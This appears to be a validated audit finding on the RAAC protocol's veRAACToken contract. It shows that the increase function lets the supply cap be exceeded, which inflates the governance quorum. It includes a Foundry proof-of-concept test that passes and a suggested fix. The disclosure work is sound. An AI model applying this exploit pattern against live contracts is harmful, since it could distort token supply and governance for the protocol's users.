Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

veRaac Token Constraint MAX_TOTAL_SUPPLY Can Be Bypassed. Vulnerability Disrupts Protocol Functionality and Undermines Governance Quorum.

Summary

The veRAACToken contract includes functionalities to lock, unlock, increase, withdraw, and extend both the locked amount and duration of RAAC tokens. The locking process issues a proportionate amount of veRAACTokens. According to the RAAC Protocol documentation, the maximum total supply of veRAACTokens is capped at 100M (with 18 decimals of precision), and the veRAACToken contract is not permitted to exceed this MAX_TOTAL_SUPPLY. However, the veRAACToken::increase function enables users to force the contract to issue more veRAACTokens than the defined maximum. This vulnerability disrupts the protocol's intended functionality and adversely affects the voting mechanism within the Governance contract.

Vulnerability Details

veRAACToken::increase:

function increase(uint256 amount) external nonReentrant whenNotPaused {
@> // @info: missing checks as similar to the lock function
// Increase lock using LockManager
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) =
_votingState.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}

Furthermore, the quorum calculation is dependent on the total supply of veRAACTokens.

Governance::quorum:

function quorum() public view override returns (uint256) {
return (_veToken.getTotalVotingPower() * quorumNumerator) / QUORUM_DENOMINATOR;
}

Typically, quorum is determined as a fixed percentage—say, 4%—of the total supply. If the total supply can exceed the constrained MAX_TOTAL_SUPPLY, the corresponding quorum requirement will also increase, making it highly probable that proposals will be defeated. Consequently, this vulnerability not only undermines proper token issuance but also raises the barriers to effective voting participation.

Proof of Concept

To demonstrate this vulnerability, the following Proof of Concept (PoC) is provided. The PoC is written using the Foundry tool.

  1. Step 1: Create a Foundry project and place all the contracts in the src directory.

  2. Step 2: Create a test directory and a mocks folder within the src directory (or use an existing mocks folder).

  3. Step 3: Create all necessary mock contracts, if required.

  4. Step 4: Create a test file (with any name) in the test directory.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {veRAACToken} from "../src/core/tokens/veRAACToken.sol";
import {RAACToken} from "../src/core/tokens/RAACToken.sol";
import {TimeWeightedAverage} from "../src/libraries/math/TimeWeightedAverage.sol";
import {LockManager} from "../src/libraries/governance/LockManager.sol";
import {IveRAACToken} from "../src/interfaces/core/tokens/IveRAACToken.sol";
contract VeRAACTokenTest is Test {
veRAACToken veRaacToken;
RAACToken raacToken;
address RAAC_OWNER = makeAddr("RAAC_OWNER");
address RAAC_MINTER = makeAddr("RAAC_MINTER");
uint256 initialRaacSwapTaxRateInBps = 200; // 2%, 10000 - 100%
uint256 initialRaacBurnTaxRateInBps = 150; // 1.5%, 10000 - 100%
address VE_RAAC_OWNER = makeAddr("VE_RAAC_OWNER");
address ALICE = makeAddr("ALICE");
address BOB = makeAddr("BOB");
address CHARLIE = makeAddr("CHARLIE");
address DEVIL = makeAddr("DEVIL");
function setUp() public {
raacToken = new RAACToken(RAAC_OWNER, initialRaacSwapTaxRateInBps, initialRaacBurnTaxRateInBps);
vm.startPrank(VE_RAAC_OWNER);
veRaacToken = new veRAACToken(address(raacToken));
vm.stopPrank();
}
}
  1. Step 5: Add the following test PoC in the test file, after the setUp function.

function testVeRAACLockIncreaseFunctionIsCapableToBreakMaxTotalSupplyConstraint() public {
uint256 LOCK_AMOUNT = 10_000_000e18;
uint256 LOCK_DURATION = 365 days;
vm.startPrank(RAAC_OWNER);
raacToken.setMinter(RAAC_MINTER);
vm.stopPrank();
for (uint256 i = 1; i <= 36; i++) {
vm.startPrank(RAAC_MINTER);
raacToken.mint(address(uint160(i)), LOCK_AMOUNT);
vm.stopPrank();
vm.startPrank(address(uint160(i)));
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
}
// we're ignoring veRaac Token amounts comparison with raac tokens amount
// check for maximum of veRaac total supply
// even if we remove this bug, current issue still stays in the protocol
// also we modified (mutated) some private state variables to public
console.log("after 36 different locks with full 10M raac Tokens");
console.log("total supply max: ", veRaacToken.MAX_TOTAL_SUPPLY());
console.log("total supply : ", veRaacToken.getTotalVotingPower());
vm.startPrank(RAAC_MINTER);
raacToken.mint(ALICE, LOCK_AMOUNT);
vm.stopPrank();
vm.startPrank(ALICE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
// can increase by zero, no restriction
vm.startPrank(ALICE);
veRaacToken.increase(0);
vm.stopPrank();
console.log("\nafter locking alice's full 10M raac token and with zero raac tokens increasing capability...");
console.log("total supply max: ", veRaacToken.MAX_TOTAL_SUPPLY());
console.log("total supply : ", veRaacToken.getTotalVotingPower());
vm.startPrank(RAAC_MINTER);
raacToken.mint(BOB, LOCK_AMOUNT);
vm.stopPrank();
vm.startPrank(BOB);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT / 2, LOCK_DURATION);
veRaacToken.increase(LOCK_AMOUNT / 2);
vm.stopPrank();
console.log(
"\nafter locking bob's 5M (half) raac token and with 5M (half) raac tokens increasing capability..."
);
console.log("total supply max: ", veRaacToken.MAX_TOTAL_SUPPLY());
console.log("total supply : ", veRaacToken.getTotalVotingPower());
vm.startPrank(RAAC_MINTER);
raacToken.mint(CHARLIE, LOCK_AMOUNT);
vm.stopPrank();
vm.startPrank(CHARLIE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(3_750_000e18, LOCK_DURATION);
veRaacToken.increase(LOCK_AMOUNT - 3_750_000e18);
vm.stopPrank();
console.log("\nafter locking charlie's 3.75M raac tokens and increasing charlie's 6.25M raacTokens...");
console.log("total supply max: ", veRaacToken.MAX_TOTAL_SUPPLY());
console.log("total supply : ", veRaacToken.getTotalVotingPower());
console.log("Breaked max total supply constraint");
assert(veRaacToken.getTotalVotingPower() > veRaacToken.MAX_TOTAL_SUPPLY());
}
  1. Step 6: To run the test, execute the following commands in your terminal:

forge test --mt testVeRAACLockIncreaseFunctionIsCapableToBreakMaxTotalSupplyConstraint -vv
  1. Step 7: Review the output. The expected output should indicate that the MAX_TOTAL_SUPPLY contraint can be bypassed using increase function.

[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/VeRAACTokenTest.t.sol:VeRAACTokenTest
[PASS] testVeRAACLockIncreaseFunctionIsCapableToBreakMaxTotalSupplyConstraint() (gas: 9296104)
Logs:
after 36 different locks with full 10M raac Tokens
total supply max: 100000000000000000000000000
total supply : 90000000000000000000000000
after locking alice's full 10M raac token and with zero raac tokens increasing capability...
total supply max: 100000000000000000000000000
total supply : 92500000000000000000000000
after locking bob's 5M (half) raac token and with 5M (half) raac tokens increasing capability...
total supply max: 100000000000000000000000000
total supply : 96250000000000000000000000
after locking charlie's 3.75M raac tokens and increasing charlie's 6.25M raacTokens...
total supply max: 100000000000000000000000000
total supply : 100312500000000000000000000
Breaked max total supply constraint
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.67ms (5.68ms CPU time)
Ran 1 test suite in 9.93ms (7.67ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As demonstrated, the test confirms that the veRAACToken::increase function can bypass the MAX_TOTAL_SUPPLY constraint. You can also notice that veRAACToken::increase function was executed successfully with zero 0 value.

Impact

  • Exceeded Token Cap: The vulnerability enables the issuance of veRaac tokens beyond the predefined maximum (100M with 18 decimals), disrupting the intended token economics of the protocol.

  • Disrupted Protocol Functionality: Uncontrolled token issuance undermines core protocol operations, potentially leading to unintended behaviors and system instability.

  • Inflated Governance Quorum: Since the quorum is calculated as a percentage of the total veRaac token supply, an inflated supply raises the quorum threshold, making it harder for proposals to pass.

  • Impaired Voting Participation: The increased quorum requirement discourages community engagement, as legitimate proposals are more likely to be defeated, thereby compromising effective governance.

  • Potential Market Distortion: Excessive token issuance may lead to price manipulation and market imbalances, ultimately harming the protocol’s reputation and long-term sustainability.

Tools Used

  • Manual Review

  • Foundry

  • console log (foundry)

Recommendations

  • veRAACToken::increase function should also have the MAX_TOTAL_SUPPLY constraint and zero amount contraint.

One possible solution is as follows:

veRAACToken::increase:

function increase(uint256 amount) external nonReentrant whenNotPaused {
+ if (amount == 0) revert InvalidAmount();
+ if (amount > MAX_LOCK_AMOUNT) revert AmountExceedsLimit();
+ // it's important to have a sophisticated time-weighted duration here
+ if (totalSupply() + calculateVeAmount(amount, _lockState.locks[msg.sender].end - block.timestamp) > MAX_TOTAL_SUPPLY) revert TotalSupplyLimitExceeded();
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) =
_votingState.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doesn't check the token supply, making it possible to mint over the MAX

veRAACToken::increase doesn't check the maximum total locked amount

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doesn't check the token supply, making it possible to mint over the MAX

veRAACToken::increase doesn't check the maximum total locked amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.